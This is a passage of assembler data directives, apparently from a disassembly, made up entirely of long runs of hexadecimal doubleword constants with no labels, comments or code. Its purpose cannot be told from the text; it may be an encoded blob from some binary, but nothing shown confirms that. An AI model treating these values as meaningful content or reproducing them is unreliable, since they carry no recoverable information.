89550997h, 153AF162h dd 9596E152h, 82E4DB71h, 78DEAD7Bh, 0EBAE97A0h, 0AE3035C5h dd 2C680570h, 0E65701C4h, 0CEBB6053h, 210EE162h, 815BC429h dd 0D3240402h, 7C19C73Fh, 0DE2CDC1Dh, 31E13282h, 8F84299Dh dd 0AC2EE380h, 4BFD4CAh, 56EA0C6Dh, 229927AFh, 38D50B8Dh dd 93B07FEh, 0CBAEAAAh, 0EDB399E4h, 17888D78h, 0F6646A7Dh dd 0A9BF04B8h, 2B8456DDh, 5F256DF9h, 0FDB6DE6Eh, 9D1302D4h dd 479CC7FFh, 0D809ED74h, 8FD161h, 712B7DFBh, 0D2500F06h dd 0E40799Ah, 0B396955Bh, 0D35D298h, 0F4F21411h, 0ECE41D89h dd 0BD177520h, 0BD0BB298h, 0C9D1FD6Fh, 753A9821h, 0A2548207h dd 91B2CC75h, 0ECB2015Eh, 6FD64A13h, 0B2D71833h, 4AA3C744h dd 24C9CA79h, 83AC130Dh, 0A616FCDEh, 0CF1803F7h, 122297FAh dd 6BBD31F9h, 965FE7D2h, 3D02FE7h, 0EAD05E5Bh, 1360FC7Dh dd 0BCCF593Dh, 53C85B2Dh, 0E7F0FAh, 0A099BD6Eh, 7A4D62E3h dd 68A6DE03h, 0FD094240h, 0BF02D8E3h, 5ED1B721h, 976AFF56h dd 59EDA91Fh, 9CD36934h, 0C43FC051h, 56178214h, 0BF60F856h dd 5B519E9Ah, 84AC6412h, 84618468h, 287BAF0Bh, 75AB5B00h dd 0A30FDD48h, 0A5B58938h, 0AE33452Ah, 0C209D437h, 96D9072h dd 0A5D6F6CAh, 0CA86EC46h, 11947400h, 41CDF0DCh, 0F6A00FE6h dd 3E4106ABh, 0D2936DF1h, 5651895Fh, 4ED3E12Eh, 0BADD2A80h dd 3FF66A6Ah, 0D2EE00AEh, 0BAA22FFh, 0F151678h, 0A552FC86h dd 4B346E02h, 602E5CFBh, 0DF8BD98Ah, 649C6D95h, 9565601Ch dd 0BFF0079Eh, 395E7218h, 2700B6D1h, 6EEEC8E7h, 0C5EC4A86h dd 757481FEh, 0FE202B0Bh, 4AFD9D23h, 4AE1CB2Ch, 0BA803BDAh dd 0F98A4F9Eh, 0AC9CC1A3h, 7DACD7D3h, 9D858358h, 7AA0E5F5h dd 3EC0D59Bh, 7F8229B8h, 2E41450Eh, 99DE25Fh, 58D15E10h dd 905B25CFh, 0CEBCE035h, 63A04B8Eh, 34E13D78h, 7343610Fh dd 5096250Bh, 8AAE37EBh, 0D0A060EEh, 4255FF32h, 90DB7B35h dd 717BDCC0h, 4A25CAF6h, 92AD66D8h, 0CE244AE2h, 734A258Ch dd 2547D8F1h, 8778CD7Ch, 67AAD609h, 4A6CDF51h, 95FFB04h dd 549299B5h, 0A9726096h, 500D2F45h, 89FA8446h, 5E5BD25h dd 8B64F536h, 0E38FA2ECh, 24E6CD81h, 444EE826h, 69727E9Fh dd 319D9051h, 71A5999Dh, 0B8485C76h, 0E8D317FFh, 2D256EF8h dd 0DBA79F65h, 3E150E5h, 0D599D12h, 47889AB3h, 5B6DB789h dd 0BBCDA57Ah, 0FC47E440h, 761896C6h, 0F4091446h, 855955B7h dd 0D4FF5CEBh, 4A9CDC07h, 3EF22A1Ah, 2D67DE4Eh, 434E9AF9h dd 8CFFF455h, 74E016F6h, 0E029A21h, 103F1697h, 9941C081h dd 0C18B8007h, 0F58D9895h, 0B2B32D90h, 59B93B40h, 0D1BB7001h dd 61064087h, 0AED1852Ah, 0E302A17Ah, 696E1BA6h, 7B630B7Dh dd 0F6D7D3F0h, 8816BCA1h, 0AF9BEDD6h, 0F0E1A1C0h, 7A09CF98h dd 5460F1D8h, 0D6804F8Ch, 2C9CD08h, 8BA21117h, 0FDB4A4h dd 0B6660DF9h, 0E6B4C0BAh, 42B9DE9Fh, 50052699h, 4A00AEE2h dd 0BEAEB108h, 0A800E747h, 0BB5C5462h, 11F51E9Eh, 10AE957h dd 5AD24B8Dh, 0FAD8DA39h, 5FB338CDh, 0BB4D00CBh, 4AC1A58Fh dd 166F6A5Eh, 4BB6EF1Fh, 907E9BA2h, 4C691910h, 0B1ED5A04h dd 86716B12h, 60020AA1h, 0DA1F01C6h, 0F580621Bh, 3A79F363h dd 0D251264Bh, 33050942h, 976B1C57h, 7B00B635h, 0FC0ADE76h dd 0D1FF2697h, 124DE3Ah, 0CD19AE51h, 282B5BF3h, 33D27BBDh dd 0F3B8DCA9h, 680BBFE0h, 80B177B3h, 0D00DDE9Eh, 26A326Eh dd 0AFA9B97Ch, 0F5590B57h, 0E9D33D0Eh, 0F93EB943h, 0D3649396h dd 2B1032C2h, 0D600F164h, 0C979B0F9h, 94C112F6h, 1F42671h dd 0E9E84AEFh, 1DCE2A77h, 2CD69210h, 5CCB0460h, 2B0F106Dh dd 0C4586361h, 8E6500AFh, 7B2E251Eh, 0E925BD2Bh, 80235B2Dh dd 796CB81h, 0BBF279E8h, 0BAD1CF04h, 37EE5004h, 0EDDFD92Eh dd 0ABF664D2h, 1923026Eh, 0D211100h, 0A3076A1Eh, 5506D28Eh dd 18447CCFh, 0F49D360h, 84475F27h, 0A31226CCh, 6AF81EDAh dd 21CC311Fh, 5EB51F27h, 261AE155h, 88FEF0B4h, 0D8F84A34h dd 31885BBDh, 2335218Dh, 5B738594h, 0EDDD88h, 2BD2E2F1h dd 1050777Ch, 80EE4838h, 0C96407B4h, 9570E64Bh, 747777C4h dd 951B0300h, 1CC77FF4h, 0F7A14h, 8BBFCD94h, 5F516655h dd 6071E41Ch, 307D965h dd 64661C1h, 0B83BAD90h, 0EDEB3C00h, 81687DA6h, 0CEF90B9Ch dd 16503002h, 4C191520h, 7AC0D461h, 48D4B4A5h, 0F7A88200h dd 311894DDh, 0D6D3026Dh, 615AD08Bh, 0D7911A5Ch, 5420BB02h dd 195C39D8h, 0A0AFF827h, 259853ABh, 16C4179Eh, 38AB302h dd 0C4286DBDh, 97DEE4C2h, 0CD711809h, 264451A5h, 99FB1F97h dd 0FDD85AD1h, 574FA69Ah, 69075F61h, 0DCF1CCh, 2A23ED0h dd 8BD844BCh, 0AF87A702h, 0E1BAC08Eh, 0CC2A04A7h, 0DB4BBF9Eh dd 0F7811F90h, 101868BEh, 866225F0h, 16521955h, 0F4FEDD3Fh dd 3500668Ah, 162FF63Ch, 143DD487h, 3447E925h, 0F514C84Ah dd 37151197h, 2BFE8B11h, 9E80FE64h, 48C5A3E0h, 5941A568h dd 5B86F804h, 3352A52h, 0B40F78E0h, 0C06F50EEh, 92CB953Eh dd 16E6617Bh, 5E57E210h, 1FFA0D88h, 7440961h, 42B9DED7h dd 775D372h, 0B70B6A79h, 0C6A88030h, 81F5239Eh, 8B456709h dd 842271F8h, 91358501h, 0A54BB9D7h, 29BD0E8Fh, 0F60B5695h dd 0B49B3E09h, 30971B2h, 0A133683Fh, 0B8C973C8h, 50C58A03h dd 0B8359A7Eh, 20F9E6h, 0B960FCF1h, 1D9FFA1Bh, 1F9F617Dh dd 811491FBh, 6D9D8932h, 2576E63Dh, 6C5C23B5h, 50D75B69h dd 1E97DDBAh, 7D6EC80Fh, 4C9B7A5h, 0B8600BB2h, 0CEE74F0Dh dd 2998C9B3h, 184B59B5h, 9A5B078Bh, 29278059h, 0B50F998Dh dd 18E4516Dh, 79574660h, 117D602h, 55272D9Dh, 0AD684EC7h dd 3B1916D6h, 5D8AC074h, 0EC09BFC6h, 712498ACh, 4F69444Bh dd 2755A989h, 5609B8F6h, 0A401F6A3h, 0F957C6E3h, 0B7311307h dd 23B74E2Fh, 0B8252DC4h, 0BCA6B451h, 0C106DBA0h, 0C2433A00h dd 0B749B908h, 0E1FF093Bh, 3B71F98Bh, 9B9D244h, 0AE0088ECh dd 0AC8F6917h, 0BDE6F6A5h, 3D596C09h, 8452B944h, 21AD83C0h dd 0D638AB84h, 0AA2DD26Dh, 46160F6Eh, 60EDF075h, 0EE79A093h dd 2A2B2EF8h, 96CC19BDh, 0E227125Eh, 0C7F74848h, 4EF1A675h dd 162EFFD7h, 0ADF9842Fh, 10C1012h, 3701BF3Ch, 0DB805B36h dd 0D2342A7Ah, 0A444E87h, 0EE8674ABh, 0FD00D06Eh, 509C9A9Fh dd 3B26F1BFh, 40B855Eh, 0DC275E24h, 477B9A02h, 77314BDAh dd 0D4E3FB81h, 7B4EAE5Ah, 0AEFC48DCh, 38179110h, 628F0068h dd 5FB5BF6Fh, 32EF9A7h, 7D8CFF03h, 0D18589E0h, 90B70F4Ah dd 8DAF513Eh, 0B95F9BA4h, 8C14AC0Dh, 0B7500FE6h, 15FE3F0h dd 3AA1D6A7h, 0B3C82F21h, 0D32001Eh, 9F08C831h, 0F35EE33Fh dd 816EA6F1h, 3ABAC6E8h, 6980DB9Eh, 0BFE6161Ch, 0E9DDFE08h dd 9ED2800Ch, 8DC7A697h, 0A4CDA509h, 597F89F6h, 402E5463h dd 0A60619Bh, 7036FDh, 58C95355h, 4D7893E7h, 29EA080Fh dd 560F4985h, 94BFE0D3h, 604B92E6h, 2D89748Ch, 8A73F806h dd 5E181759h, 0A4954B12h, 6E2A58E1h, 6FDC0073h, 3D476475h dd 0E0964E66h, 8E360F12h, 0F9122902h, 0FF6E6Bh, 57A56F8Ch dd 12FEA14Eh, 0BF68524Fh, 6044E745h, 68CD14AEh, 84C1B12Fh dd 80342E61h, 15E51981h, 0BC46800h, 60176502h, 5C50F88Ah dd 6608CCCAh, 0E96CBF3Bh, 843F5C10h, 807A083Bh, 0C05CE7B6h dd 5606C225h, 1B46D64Ch, 18297E00h, 2FD1FCACh, 0BB667B06h dd 95D2F799h, 0DA4DB550h, 0F2563047h, 4ADC46EFh, 0B22AB65Fh dd 0D608301Bh, 459E1002h, 0E0F78F3Ah, 8103392Dh, 4F612C61h dd 19B2DEF7h, 0A848A30h, 0CC0212B1h, 0DB6D09AFh, 7467859h dd 0EB92BF35h, 0B57F0E62h, 1818F1BBh, 2B971DC9h, 85F1A583h dd 0F0958F00h, 102C52Ch, 5FB33035h, 66BE9E5Bh, 507BF071h dd 20134E14h, 4E8E15F6h, 93CD5A00h, 72B7E69Eh, 0B0285B73h dd 24B0E54h, 922838Ah, 1EF8859Fh, 6248A6AEh, 5E1DFD18h dd 0A4EA714Ch, 0E7AC61B5h, 4441CF2Fh, 91A46016h, 0F2BB04FEh dd 0AB3AED58h, 79034E64h, 0D01CEA9Ch, 0ECD2BBE0h, 91371CF2h dd 839D424Fh, 0A9561E27h, 0F9526062h, 0DE1800ECh, 8ACBAEF4h dd 20BA9600h, 0A4525328h, 0B0AD09CDh, 5671615Bh, 84ACBB80h dd 7F960578h, 0DE8EB753h, 82A07A11h, 2242318Dh, 0B807B3C4h dd 74A9D20Eh, 71028FB8h, 5E6C2BA2h, 6DC8E092h, 65B9511h dd 56181C79h, 7E137B00h, 0B10B69FBh, 3B1A974Fh, 9A1C7466h dd 2A41F8C6h, 66391E3Ah, 5DCDA2D1h, 5A866870h, 14170C4h dd 7F014C0Eh, 8F25392Fh, 8BDC0828h, 9941CCCh, 1E5B2551h dd 0CD181859h, 2E253CE2h, 841BCA2Ch, 1BB82F74h, 0D2FBAC97h dd 0CD481BB3h, 0B2023E12h, 95B64BFCh, 0B9D6D3F0h, 5FA69F01h dd 6E91294h, 0BE7A2D10h, 2CA9FB18h, 0AE16C99Ah, 8E3700ABh dd 0A4DF258h, 0AD013F09h, 891519DAh, 0DB3B6AC2h, 7C86C759h dd 0AC5FAE00h, 0D3B1BF15h, 388B0883h, 0A84AF9BDh, 8B9AB59Bh dd 2D8453C9h, 6FE0FEBDh, 0AD507296h, 55FFE0A9h, 6972E1F8h dd 61ECA829h, 6625A126h, 12A3983Bh, 0E2611DD7h, 136B8E3Ah dd 2CE87CA9h, 43C7CC02h, 5D509BF9h, 0F3209090h, 5F00A47Eh dd 7567713Ah, 0B45D2ECh, 8A6FE66h, 0C8AB8576h, 1DC0FE78h dd 0F9464Ah, 890D1A3Fh, 2E4B3D8Dh, 973247C8h, 8255343Ah dd 20BB90Bh, 0DCDE880Fh, 5461F58Bh, 0D6C9E8B3h, 96C1CA00h dd 0F6E35487h, 0BEB30184h, 75BD3360h, 5FB62F30h, 16A31018h dd 879BE673h, 26D261ADh, 8C67742Eh, 480046CEh, 5CF7D174h dd 138A20Ch, 9271DF4Bh, 2EB56731h, 8A5F5A28h, 5338985Fh dd 5DE8F80Ah, 975B322h, 615AA48Ah, 46D6E554h, 6F1A1215h dd 6E3E6AE1h, 56815A58h, 8741A12Eh, 0AD0428D5h, 8C19EC72h dd 28342201h, 80EF0C77h, 0EE9C9CBh, 4E20F010h, 23985403h dd 0F0D5DFCFh, 504CD86Fh, 7FDB9461h, 9593F4C5h, 2E531661h dd 5B998B19h, 5A76C1DDh, 9EBE27F0h, 0F5B8AB4Bh, 5C82B3D2h dd 50901650h, 2380C2FCh, 824B5D2Fh, 55865900h, 0CB510289h dd 905B2777h, 1745B4D8h, 9EEC2FC3h, 0F77EF5FAh, 762CE61h dd 0B96AEDE6h, 3F5CB827h, 98014C78h, 0FC0B0EC6h, 6D24C86h dd 0CDADD800h, 0ACF3811Ch, 4FC90B1Bh, 54DBC083h, 0E1F8B78h dd 50635F0Bh, 1660DFC9h, 0B969E780h, 3595952h, 0C225BADDh dd 0DC4FA8C0h, 225CD632h, 9A6D75F5h, 66601A64h, 55095421h dd 73ACF1CFh, 147BAD25h, 2697450h, 6C787C9Eh, 7E49E375h dd 27643209h, 0C2944DD1h, 756BACh, 0B6B7C7D5h, 20B3B061h dd 0B760201h, 540F5D25h, 2BC0719Dh, 0B6B074F7h, 46982979h dd 9CA32D5Ah, 0A04BF64Fh, 4B49FE93h, 1DCDE08Ch, 51900412h dd 3F8054A8h, 0C827DD30h, 1157AE00h, 0F4592BDh, 2521DC86h dd 0BB00405Ch, 5624F15h, 0DC68B690h, 55C85400h, 0DC0371Bh dd 0E80C5847h, 115C8D3Ah, 0A8A6A9E4h, 0F8B3003Bh, 0B529F65Fh dd 92830919h, 459C55C4h, 95E61120h, 0A10EA564h, 60F5395Fh dd 0FFB70F2Dh, 0E25A965Bh, 635C2FDDh, 3551E9h, 65ED1820h dd 82005DC4h, 0CD7AD2ABh, 0DADF433h, 0C98531F1h, 905FC894h dd 80B46003h, 0EA0AB966h, 8E6CDC61h, 0BF121181h, 0B304BD60h dd 0BADC00D3h, 295E258Eh, 60956AB8h, 3968BB25h, 81DE324Eh dd 0D6E38035h, 31C47E5Ch, 428B5C2h, 0B09CAAF5h, 409511D7h dd 8A51805Ch, 0F76A5BD9h, 0BAC195E8h, 0DC82A212h, 0FBFA6A4h dd 0DB9615DDh, 500FCC0Ah, 0A20D5A09h, 13C8439h, 0AF858904h dd 8BB0A44Ah, 9D000911h, 222DA9DAh, 75282780h, 8920D2ACh dd 295F0923h, 2B224D95h, 907D70E6h, 3964B884h, 2C027858h dd 71E4D1EDh, 6AB8015Ch dd 8102FE79h, 8223EECEh, 0C1F25DEh, 0C87EB626h, 1A5FDF00h dd 0BF660E63h, 889D4BD9h, 0FD0BBB0Ah, 96E6B25h, 4249FE6Ch dd 0B1B1721h, 468DD762h, 0B4634D18h, 370EFA05h, 9A80163Dh dd 2CE257A9h, 630F5108h, 0D41291DCh, 13AA5B25h, 0BEB24174h dd 0A4D18BFCh, 98134A93h, 859460ABh, 5FE24C44h, 40A099Fh dd 28AA87F5h, 703C006h, 0BC7D53BBh, 0C610447Ah, 0C31E619Dh dd 2E1793BFh, 4602350h, 5DE9FD8Ah, 0A91604B2h, 0C065A917h dd 0E5EEE781h, 0AF0950E2h, 0BA045A2Dh, 3C840321h, 4AB7216Fh dd 27652EFAh, 187EB8Ch, 41C50563h, 20918EAEh, 0AA04143Dh dd 4A90990Dh, 79185F84h, 940C25C0h, 3670C02Ah, 0B8259E8Dh dd 122ACC09h, 0EAED662Dh, 0E704586Fh, 0A1419D23h, 2444A329h dd 7A23BC59h, 0D81C4D17h, 5B4BF81Bh, 1189408Ch, 1310AD8Dh dd 0E4A90FDDh, 0FB0458E8h, 831238B3h, 8B255CB8h, 0F24E0CD4h dd 9AA6EBBh, 0B9716FFh, 9DFEE4ACh, 3FD08853h, 0BEDF0492h dd 0AFB98E06h, 0DD56AC20h, 94464CBDh, 0C6078839h, 0B05CF6ABh dd 0E49939BBh, 95137295h, 600F3B9Eh, 0E44DEE81h, 0A0811DE7h dd 0B33D61F1h, 40AC6EB9h, 6A02EC89h, 485C477Fh, 1DE8B41h dd 97037DFCh, 8C0F2C38h, 4D62AC9Ch, 5A165C23h, 3950BD53h dd 7BF30E05h, 0CF42F5DEh, 65558F0Fh, 0C0CE0005h, 507282FAh dd 0C1C58502h, 0D57B4A7Fh, 0BF1F9E17h, 0C1BC2613h, 56595225h dd 233F8164h, 85EF071Dh, 0F61EE0DAh, 9B256D89h, 7E0049Dh dd 9E9030B9h, 0AD03E512h, 8C19BC59h, 8638370Eh, 0FF344206h dd 7032D3E1h, 410473E1h, 9EB3384Ch, 71A123B8h, 0FB9E2A04h dd 0D37AC080h, 0D9259D29h, 0C65D5915h, 8F83635Bh, 1D5C0DCAh dd 27841271h, 8771F380h, 0C1F9478Dh, 302B08BEh, 9395230Ah dd 0A54C16E2h, 939EA82Dh, 0BF127556h, 573BDFA4h, 95B0FB01h dd 0E0E6764h, 458D3CDAh, 7DC0C46Eh, 2F9D034Ah, 0D7E52905h dd 40C8EDADh, 0FA9C6CD1h, 97256490h, 0B322CE1Dh, 2C7F597Ah dd 0B59D16BEh, 7D0C4558h, 89508126h, 627BE16Ah, 0E07466CFh dd 465100D7h, 150AC1F6h, 2D01563Ch, 11BE7099h, 6F3F6AC6h dd 6A412744h, 4156ACh, 68F877A0h, 817DFCEh, 0FBF457ACh dd 4B16E431h, 8B4E9B54h, 0EDC60212h, 0E4375C28h, 0CF30B8F9h dd 23647F5h, 7F4D5F0Bh, 8F2C32C0h, 15E30949h, 0F5A90DDBh dd 31FD8D82h, 8D40BA55h, 0F22F9657h, 5AF88975h, 456B7ADh dd 8FE400DEh, 0EBC6CF1h, 8D27A7E1h, 0D69B9085h, 6FFA1C77h dd 0C9B740E3h, 69EA73F4h, 66F5E425h, 0C38100E0h, 64314CC5h dd 53950689h, 0AC9E7054h, 0AE58CA00h, 2FAFBB67h, 0E6575AFCh dd 646251Eh, 0BF13B955h, 3E002A46h, 5CAB744Ah, 13F02560h dd 962EF1Ch, 0AF445062h, 0D0EAC81Fh, 0C4DECF8Fh, 6EEF9697h dd 83550A15h, 7909CFDFh, 5916D50Eh, 0D481B4h, 996FD073h dd 0DD4F8F82h, 26C8FC4Bh, 862C3E5Bh, 0AC8800F2h, 0B3735C8Ch dd 81E65F2Eh, 16B45B5h, 4ED561BBh, 6913817h, 8B3B7EADh dd 0BCB8E979h, 80B24Fh, 6447F591h, 0A0338109h, 3EABA97h dd 0D5CA83AAh, 5BDA1836h, 0B860E190h, 0C4F3861Fh, 0FCE50F1Eh dd 26DF5032h, 5D02900h, 4217614h, 0EEA17394h, 59750BD7h dd 1C375861h, 0F4C86D85h, 48487CECh, 0E3E0B012h, 0BD890460h dd 32EE2CF9h, 90BD95Eh, 48BB5464h, 19410BDEh, 565ABF5Ch dd 0F7F4D4EDh, 0BDFD594Ah, 2513E986h, 3B5A9Fh, 90E58669h dd 0CD28FAA6h, 6101A5F0h, 0F3F26EC2h, 13799531h, 0B19B35Eh dd 0FE61D2B7h, 0D90BDC87h, 0D17F8777h, 8767A52Fh, 2D4C2AEh dd 0EE1D53E9h, 96564069h, 2DA74651h, 0E60010B7h, 892D8068h dd 0AFF96BB5h, 0C141E67Eh, 0DAEC0879h, 90CA02F4h, 0A47804D5h dd 2E650941h, 2921C8C2h, 2B068EE1h, 30E90B8Eh, 0D4129BBh dd 1F98827Eh, 0B64409h, 0E0D65862h, 757016EEh, 0EAB70F09h dd 4578715Bh, 0E7BC5D7Dh, 67256B7Eh, 566A116Ch, 0C003F033h dd 21A600D9h, 4731F214h, 0BB1266E0h, 0C3A69189h, 0E3FABF12h dd 2DA586Dh, 0A9BD23BBh, 0EBED560Ah, 4A568F62h, 8FD38160h dd 287513C5h, 35F48296h, 0FAFAC05Dh, 6E3EF561h, 0A82F01FFh dd 595297Ah, 0E0790275h, 0AB1EEDC4h, 0D5F87972h, 1B910BB5h dd 5369F380h, 2F14BF9Dh, 129C6FF9h, 2AAA42F8h, 96DC843Ch dd 78CF95C0h, 9D0B1260h, 840DF859h, 60B861D3h, 0FE880FC5h dd 0E05FC528h, 0DA33096Bh, 0FD6C30EFh, 9D0C8843h, 815D2AFDh dd 534BE777h, 71B64D85h, 645C78E2h, 34008645h, 0D8E3EB81h dd 8D634BAFh, 0E19F616Ah, 0D59D121Ch, 3FB81799h, 51C0889Eh dd 580C3217h, 0DC5AD030h, 5553C9E3h, 0D93B996Ah, 481A4A7Ah dd 0FD886942h, 169C2E35h, 293F4238h, 5096C08Bh, 0E6987C0Eh dd 6595264Dh, 0AFBF04A3h, 0C620AE59h, 3FE886E2h, 0F7006CF3h dd 0EED7A7DBh, 0CD046263h, 1D3977ABh, 60C92CB8h, 15486ED0h dd 1AD580D1h, 9E28161h, 66B5DA1Ch, 5B643A71h, 0C9B50142h dd 0FC0029D5h, 0E1CF39D9h, 9E206F74h, 0EA5AADh, 1B2736CAh dd 0E03203F9h, 80E96A3Ch, 12C25D84h, 0B059C035h, 1EB717D9h dd 6062E061h, 6D96B42Dh, 0BB03C0C8h, 0E114A2D7h, 10A26833h dd 0F6A42A81h, 0F65E085h, 0C4669783h, 0D0F0822Dh, 449A959Dh dd 31855682h, 0E4FBCD55h, 9EB96017h, 203AFB0Ch, 0AE380F3Fh dd 337C870Eh, 0D5B96095h, 9861363h, 7EEA76FFh, 0B114173h dd 59132C03h, 56987255h, 6E255F60h, 113CC565h, 95890415h dd 0DDBF2799h, 0C6F224D9h, 0DFEA83ABh, 0FC7AF256h, 5902D4CDh dd 8712B43Bh, 40E1F610h, 6E9E8BC1h, 83B2B607h, 0CEE39B92h dd 0FCBDC043h, 0E7E9255Bh, 4E48EC62h, 82BD3EF6h, 48799D84h dd 95DC8AA2h, 0F8FBCC9Ah, 0FD83E70h, 58A0A8F5h, 3093DDC5h dd 0AFB5E1CCh, 8EF8CC00h, 13872B7Bh, 0AE4507CAh, 0F1472C0Ah dd 3E820F90h, 2D8021CCh, 1A635002h, 0DC7949FDh, 5C3834F7h dd 0E1487856h, 5B277858h, 0ED97B7F8h, 0F302C199h, 3656C60Eh dd 3594F218h, 9610BB7h, 0F6F1AD8Dh, 39200728h, 0E1A4800Fh dd 6FED4AF4h, 699200A7h, 3DF62A3Ch, 33DA099Fh, 3070F89Bh dd 0B157AC4h, 0B1FC900Bh, 0CC2F742Ch, 0D49A9ECAh, 89073F01h dd 819E92CCh, 31EA68E0h, 11F40997h, 7AA12A87h, 0C2689B6Eh dd 43A4F09Dh, 30592FEh, 4C2D86B7h, 0C5F7548Bh, 0FF86C42Bh dd 88893829h, 3AC19E96h, 21352E0Dh, 2DC03B9Ah, 9B1523FEh dd 0D1D92512h, 8208ED08h, 0BD853151h, 815F8548h, 0A543CF05h dd 79AA5615h, 0DC6A6E1Fh, 27F09602h, 0B0A49FA5h, 42006F02h dd 26BF6283h, 7126D1A0h, 102F6250h, 0BC343A4h, 7633474Ah dd 72567EA9h, 74C009A7h, 4F08C43Ah, 6B1A6059h, 7F5A756Dh dd 0B39C4AE2h, 0F4EB8459h, 0C24DE116h, 27F03D77h, 0DAE88310h dd 5444162Dh, 6FEDE9C0h, 3EF27245h, 7FF0DE03h, 4087B3E3h dd 78BD0773h, 0A9BFC701h, 1914758h, 971E3C20h, 8BA7072Fh dd 0C327E5A3h, 0E6CCFA3Fh, 4BD5E017h, 421B12FAh, 0C7E5C8A2h dd 77F3403h, 0F06A6B49h, 2FAF4A1Bh, 0C56160CBh, 0D4800011h dd 56DBA227h, 0C79C91Fh, 0F6D7BF00h, 9231420h, 0F971D46Bh dd 0C015371h, 0B08FBDDCh, 0F83CD470h, 0F0EC4B7Ah, 734B6B39h dd 1C1EDFDh, 2A08359Dh, 0F33A7BDDh, 35B30F15h, 596FF26Ah dd 0D028A70Dh, 102BC568h, 9430EDB5h, 0BC03F413h, 6CBF254Ch dd 8133C02Ch, 75AC09DFh dd 617329E9h, 9043511h, 2532F5B5h, 85A418AAh, 0FE9070E6h dd 0C6165F00h, 0BF71E440h, 0E72D1689h, 9A6D3025h, 180075FBh dd 0B23D7B28h, 2562198h, 0BA04DF38h, 605C2566h, 0EE8FA93h dd 7B542ECBh, 632C5C4Bh, 0BE958529h, 0E04E13A6h, 68821F0Ah dd 9BBD9DFh, 390DD549h, 0E986370h, 0C4123D25h, 656AC463h dd 45B1122Fh, 817FC861h, 7F0C87AFh, 0F14070CAh, 5194A401h dd 3DED4AA1h, 8516402Eh, 47554C50h, 3BB560D2h, 25E99B21h dd 5790886Ah, 0D4B95F6Fh, 0D4804E0Bh, 97A7CFE3h, 41145024h dd 2825B529h, 550D273Eh, 8D4C0260h, 575C080Dh, 8260C4E8h dd 70CADA64h, 0FE480186h, 526D3610h, 0F683D04Eh, 51B26AFFh dd 2FEF8180h, 64B264Ch, 27236398h, 4452299Dh, 2E799551h dd 649A0725h, 43783527h, 9AA78F5Ah, 0ED760A09h, 4FDE4754h dd 8992E9B3h, 6A9D1195h, 0EBBC2929h, 0C7510606h, 2FF27A0Eh dd 0DAFB07BDh, 15181A79h, 46EE500Fh, 64E8ABC5h, 777800B5h dd 0C96C8C5Ch, 7BFECE23h, 8E469901h, 45E838F9h, 0AD177278h dd 2470E21Dh, 0B9847D71h, 7AAA0FA9h, 98D90049h, 9775086Eh dd 12879147h, 4A1E5DFh, 3AB6F7FAh, 0C63E8098h, 26C0CA44h dd 14FE1564h, 5A0011D1h, 2D1A5F6Ch, 7101EE55h, 3B3FA7F3h dd 251007E8h, 38060BEAh, 5FB7043Ah, 0F6FC4E02h, 0A39BE345h dd 66F985B8h, 0BBA4F8EDh, 0EEAFBECh, 89D22B04h, 53B155B5h dd 5F059B6Ah, 1902626Ah, 837732Fh, 0C2316AC9h, 0E816957Ah dd 43A0D6F8h, 8AB307C7h, 2B880F52h, 7B977014h, 0F884BEC8h dd 0BF880D5Bh, 0EAC2C2DEh, 63628264h, 0C2B50E7Ah, 394D7D68h dd 0A3A8B06Bh, 0E52809C2h, 7791502h, 0A4F8BB8Eh, 2FAB6856h dd 0A86F5DFCh, 5D7B033h, 68D8DB3Ah, 0DCF38012h, 18D6148Eh dd 7579A290h, 16E6B5CEh, 7E4D82BDh, 53055E98h, 8F9E5DCCh dd 0AEBF0DB0h, 5FBD2430h, 0E5FBA748h, 27195DD0h, 0FAC42056h dd 0B104B977h, 5FFA4476h, 8AD10ABDh, 0D101D5ACh, 0C10DC266h dd 3550CCF7h, 1604EF2Eh, 643F80CAh, 0B93C81C4h, 0FF5B002Fh dd 9A09CE1h, 779D81Eh, 9791A046h, 0D0013637h, 2C792D36h dd 0BF108C6Fh, 6FB16B0Bh, 10C1611Bh, 6D14392Fh, 0CFA06172h dd 282F081Eh, 12A03513h, 60EE11BFh, 0C0781D9Bh, 0F88B2539h dd 112127E4h, 0DE8A891Fh, 2345247Ah, 96CB9884h, 0D868ACC5h dd 4B09DF16h, 0BDD8CAAh, 44ABD7Ah, 0D88122F8h, 0DEFD8A50h dd 87700B53h, 989C5870h, 0EC77534Eh, 0DF244BABh, 9B1D8A05h dd 0F0761BB2h, 0D6FF1D26h, 1F6F024Dh, 327D028Fh, 513B5458h dd 0D7970BFh, 450443Bh, 2D728C52h, 884A3BADh, 27002667h dd 36162C4Bh, 1457A75Bh, 9E525020h, 51310F0Bh, 253F2A7Ch dd 8450748Bh, 8C563C4Ah, 0F700CEDFh, 0BFEBA633h, 2486416Dh dd 48826158h, 0B1503CD1h, 0E8DD25EBh, 2288F146h, 59017F66h dd 0EC11C499h, 7A2193AEh, 0F4F9C93Dh, 0EA097B9Fh, 77018EE9h dd 0D10552BDh, 0D0D0F065h, 971996B1h, 0CD90CB8h, 25BB6680h dd 10E43050h, 0EAD16D95h, 0F2BF12BFh, 94F6972Dh, 948E83B5h dd 0AC1610FBh, 70AD305Dh, 7D1043D4h, 12C4807h, 24BD313Dh dd 1C690689h, 0ED0002B8h, 432C4657h, 9D0624Ch, 9CB7F544h dd 46D62F5Ch, 27424814h, 800154D8h, 9CE77A9h, 3017BB96h dd 0F81B1A38h, 6EBECC22h, 2E1C1732h, 33B788ABh, 0EE1BD10h dd 2521AC4Eh, 0A034EE10h, 4AB79DCh, 189F3D68h, 0FE18C288h dd 0C2028974h, 0E0780664h, 95237D3Ah, 35A42753h, 3458D511h dd 105289C7h, 5DFB828Dh, 0FEFBF13h, 55DE4449h, 0B74C7618h dd 3AA7881Eh, 0DA58E680h, 9490C566h, 5C1F145Eh, 9D2B4B72h dd 55026FB2h, 5F618A0Bh, 3702F337h, 5CE4CF80h, 8B025A66h dd 73566B17h, 0DE2F3351h, 76EBC92Dh, 482F1009h, 974504DEh dd 36B80A5Eh, 0F58D3181h, 6BED0E01h, 0F3034C09h, 2EBAD11Bh dd 8AEF3B28h, 0A2F57C60h, 0F051D325h, 89CB8503h, 0B25D03D9h dd 879BF406h, 0FB8C212Eh, 7574CFE2h, 716300F6h, 67024F2Eh dd 0D925098Ch, 4C44C6EDh, 2935FD57h, 89051F0Fh, 497301D5h dd 413158ADh, 4C312B31h, 0A53F9D33h, 5FD27CC3h, 6EFF8684h dd 405A005Fh, 0A327CEC4h, 4D410082h, 0B7C9BB57h, 87AD5178h dd 176115C4h, 98097BDAh, 163DD54Dh, 2A458E80h, 120C5B65h dd 0A2914F93h, 870F76F1h, 0EFCFDF69h, 